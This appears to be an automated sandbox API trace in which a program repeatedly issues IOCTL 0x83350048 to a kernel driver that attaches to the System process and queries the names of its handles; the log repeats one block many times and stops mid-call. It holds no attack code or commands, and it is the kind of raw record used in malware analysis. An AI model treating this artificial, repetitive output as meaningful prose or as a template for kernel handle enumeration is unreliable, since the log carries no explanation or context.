[0089.610] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.610] PsAcquireProcessExitSynchronization () returned 0x0 [0089.610] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.610] ObReferenceObjectByHandle (in: Handle=0xffffffff8000087c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fa5900, HandleInformation=0x0) returned 0x0 [0089.610] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.610] PsReleaseProcessExitSynchronization () returned 0x2 [0089.610] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.610] ObQueryNameString (in: Object=0xfffffa8001fa5900, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.610] ObfDereferenceObject (Object=0xfffffa8001fa5900) returned 0x2 [0089.610] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.611] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.611] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.611] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.611] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.611] PsAcquireProcessExitSynchronization () returned 0x0 [0089.611] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.611] ObReferenceObjectByHandle (in: Handle=0xffffffff80000894, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80024f8050, HandleInformation=0x0) returned 0x0 [0089.611] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.611] PsReleaseProcessExitSynchronization () returned 0x2 [0089.611] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.611] ObQueryNameString (in: Object=0xfffffa80024f8050, ObjectNameInfo=0xfffffa8003a23044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a23044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.611] ObfDereferenceObject (Object=0xfffffa80024f8050) returned 0x2 [0089.611] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.611] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.611] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.611] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.611] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.611] PsAcquireProcessExitSynchronization () returned 0x0 [0089.611] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.611] ObReferenceObjectByHandle (in: Handle=0xffffffff800008a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800230c700, HandleInformation=0x0) returned 0x0 [0089.611] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.611] PsReleaseProcessExitSynchronization () returned 0x2 [0089.611] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.611] ObQueryNameString (in: Object=0xfffffa800230c700, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.611] ObfDereferenceObject (Object=0xfffffa800230c700) returned 0x2 [0089.611] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.611] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.611] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.611] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.611] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.611] PsAcquireProcessExitSynchronization () returned 0x0 [0089.611] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.611] ObReferenceObjectByHandle (in: Handle=0xffffffff800008ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002503050, HandleInformation=0x0) returned 0x0 [0089.611] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.611] PsReleaseProcessExitSynchronization () returned 0x2 [0089.612] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.612] ObQueryNameString (in: Object=0xfffffa8002503050, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.612] ObfDereferenceObject (Object=0xfffffa8002503050) returned 0x2 [0089.612] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.612] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.612] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.612] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.612] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.612] PsAcquireProcessExitSynchronization () returned 0x0 [0089.612] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.612] ObReferenceObjectByHandle (in: Handle=0xffffffff800008b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80024f8b60, HandleInformation=0x0) returned 0x0 [0089.612] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.612] PsReleaseProcessExitSynchronization () returned 0x2 [0089.612] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.612] ObQueryNameString (in: Object=0xfffffa80024f8b60, ObjectNameInfo=0xfffffa800398b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800398b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.612] ObfDereferenceObject (Object=0xfffffa80024f8b60) returned 0x2 [0089.612] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.612] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.612] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.612] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.612] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.612] PsAcquireProcessExitSynchronization () returned 0x0 [0089.612] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.612] ObReferenceObjectByHandle (in: Handle=0xffffffff800008c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800bbf0f20, HandleInformation=0x0) returned 0x0 [0089.612] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.612] PsReleaseProcessExitSynchronization () returned 0x2 [0089.612] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.612] ObQueryNameString (in: Object=0xfffffa800bbf0f20, ObjectNameInfo=0xfffffa8003a81044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a81044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.612] ObfDereferenceObject (Object=0xfffffa800bbf0f20) returned 0x2 [0089.612] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.612] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.612] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.612] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.612] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.612] PsAcquireProcessExitSynchronization () returned 0x0 [0089.612] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.613] ObReferenceObjectByHandle (in: Handle=0xffffffff800008c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800250a720, HandleInformation=0x0) returned 0x0 [0089.613] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.613] PsReleaseProcessExitSynchronization () returned 0x2 [0089.613] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.613] ObQueryNameString (in: Object=0xfffffa800250a720, ObjectNameInfo=0xfffffa8003acd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003acd044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.613] ObfDereferenceObject (Object=0xfffffa800250a720) returned 0x2 [0089.613] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.613] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.613] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.613] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.613] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.613] PsAcquireProcessExitSynchronization () returned 0x0 [0089.613] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.613] ObReferenceObjectByHandle (in: Handle=0xffffffff800008d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80034881c0, HandleInformation=0x0) returned 0x0 [0089.613] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.613] PsReleaseProcessExitSynchronization () returned 0x2 [0089.613] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.613] ObQueryNameString (in: Object=0xfffffa80034881c0, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.613] ObfDereferenceObject (Object=0xfffffa80034881c0) returned 0x2 [0089.613] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.613] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.613] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.613] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.613] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.613] PsAcquireProcessExitSynchronization () returned 0x0 [0089.613] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.613] ObReferenceObjectByHandle (in: Handle=0xffffffff800008d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80023577b0, HandleInformation=0x0) returned 0x0 [0089.613] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.613] PsReleaseProcessExitSynchronization () returned 0x2 [0089.613] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.613] ObQueryNameString (in: Object=0xfffffa80023577b0, ObjectNameInfo=0xfffffa8003a77044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a77044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.613] ObfDereferenceObject (Object=0xfffffa80023577b0) returned 0x2 [0089.613] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.613] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.613] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.614] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.614] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.614] PsAcquireProcessExitSynchronization () returned 0x0 [0089.614] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.614] ObReferenceObjectByHandle (in: Handle=0xffffffff800008dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80022efa40, HandleInformation=0x0) returned 0x0 [0089.614] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.614] PsReleaseProcessExitSynchronization () returned 0x2 [0089.614] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.614] ObQueryNameString (in: Object=0xfffffa80022efa40, ObjectNameInfo=0xfffffa8003a78044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a78044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.614] ObfDereferenceObject (Object=0xfffffa80022efa40) returned 0x2 [0089.614] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.614] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.614] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.614] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.614] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.614] PsAcquireProcessExitSynchronization () returned 0x0 [0089.614] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.614] ObReferenceObjectByHandle (in: Handle=0xffffffff800008f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002524b00, HandleInformation=0x0) returned 0x0 [0089.614] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.614] PsReleaseProcessExitSynchronization () returned 0x2 [0089.614] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.614] ObQueryNameString (in: Object=0xfffffa8002524b00, ObjectNameInfo=0xfffffa8003a79044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a79044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.614] ObfDereferenceObject (Object=0xfffffa8002524b00) returned 0x2 [0089.614] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.614] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.614] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.614] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.614] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.614] PsAcquireProcessExitSynchronization () returned 0x0 [0089.614] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.614] ObReferenceObjectByHandle (in: Handle=0xffffffff800008f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800226f050, HandleInformation=0x0) returned 0x0 [0089.614] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.614] PsReleaseProcessExitSynchronization () returned 0x2 [0089.614] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.614] ObQueryNameString (in: Object=0xfffffa800226f050, ObjectNameInfo=0xfffffa8003a7a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7a044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.615] ObfDereferenceObject (Object=0xfffffa800226f050) returned 0x2 [0089.615] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.615] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.615] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.615] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.615] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.615] PsAcquireProcessExitSynchronization () returned 0x0 [0089.615] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.615] ObReferenceObjectByHandle (in: Handle=0xffffffff80000900, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025aa1d0, HandleInformation=0x0) returned 0x0 [0089.615] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.615] PsReleaseProcessExitSynchronization () returned 0x2 [0089.615] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.615] ObQueryNameString (in: Object=0xfffffa80025aa1d0, ObjectNameInfo=0xfffffa8003a7b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.615] ObfDereferenceObject (Object=0xfffffa80025aa1d0) returned 0x2 [0089.615] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.615] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.615] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.615] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.615] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.615] PsAcquireProcessExitSynchronization () returned 0x0 [0089.615] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.615] ObReferenceObjectByHandle (in: Handle=0xffffffff80000918, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002d507a0, HandleInformation=0x0) returned 0x0 [0089.615] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.615] PsReleaseProcessExitSynchronization () returned 0x2 [0089.615] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.615] ObQueryNameString (in: Object=0xfffffa8002d507a0, ObjectNameInfo=0xfffffa8003a7c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7c044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.615] ObfDereferenceObject (Object=0xfffffa8002d507a0) returned 0x2 [0089.615] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.615] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.615] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.615] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.615] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.615] PsAcquireProcessExitSynchronization () returned 0x0 [0089.615] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.615] ObReferenceObjectByHandle (in: Handle=0xffffffff8000091c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025eb050, HandleInformation=0x0) returned 0x0 [0089.615] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.616] PsReleaseProcessExitSynchronization () returned 0x2 [0089.616] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.616] ObQueryNameString (in: Object=0xfffffa80025eb050, ObjectNameInfo=0xfffffa8003a7d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.616] ObfDereferenceObject (Object=0xfffffa80025eb050) returned 0x2 [0089.616] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.616] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.616] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.616] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.616] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.616] PsAcquireProcessExitSynchronization () returned 0x0 [0089.616] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.616] ObReferenceObjectByHandle (in: Handle=0xffffffff80000934, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800254d2f0, HandleInformation=0x0) returned 0x0 [0089.616] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.616] PsReleaseProcessExitSynchronization () returned 0x2 [0089.616] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.616] ObQueryNameString (in: 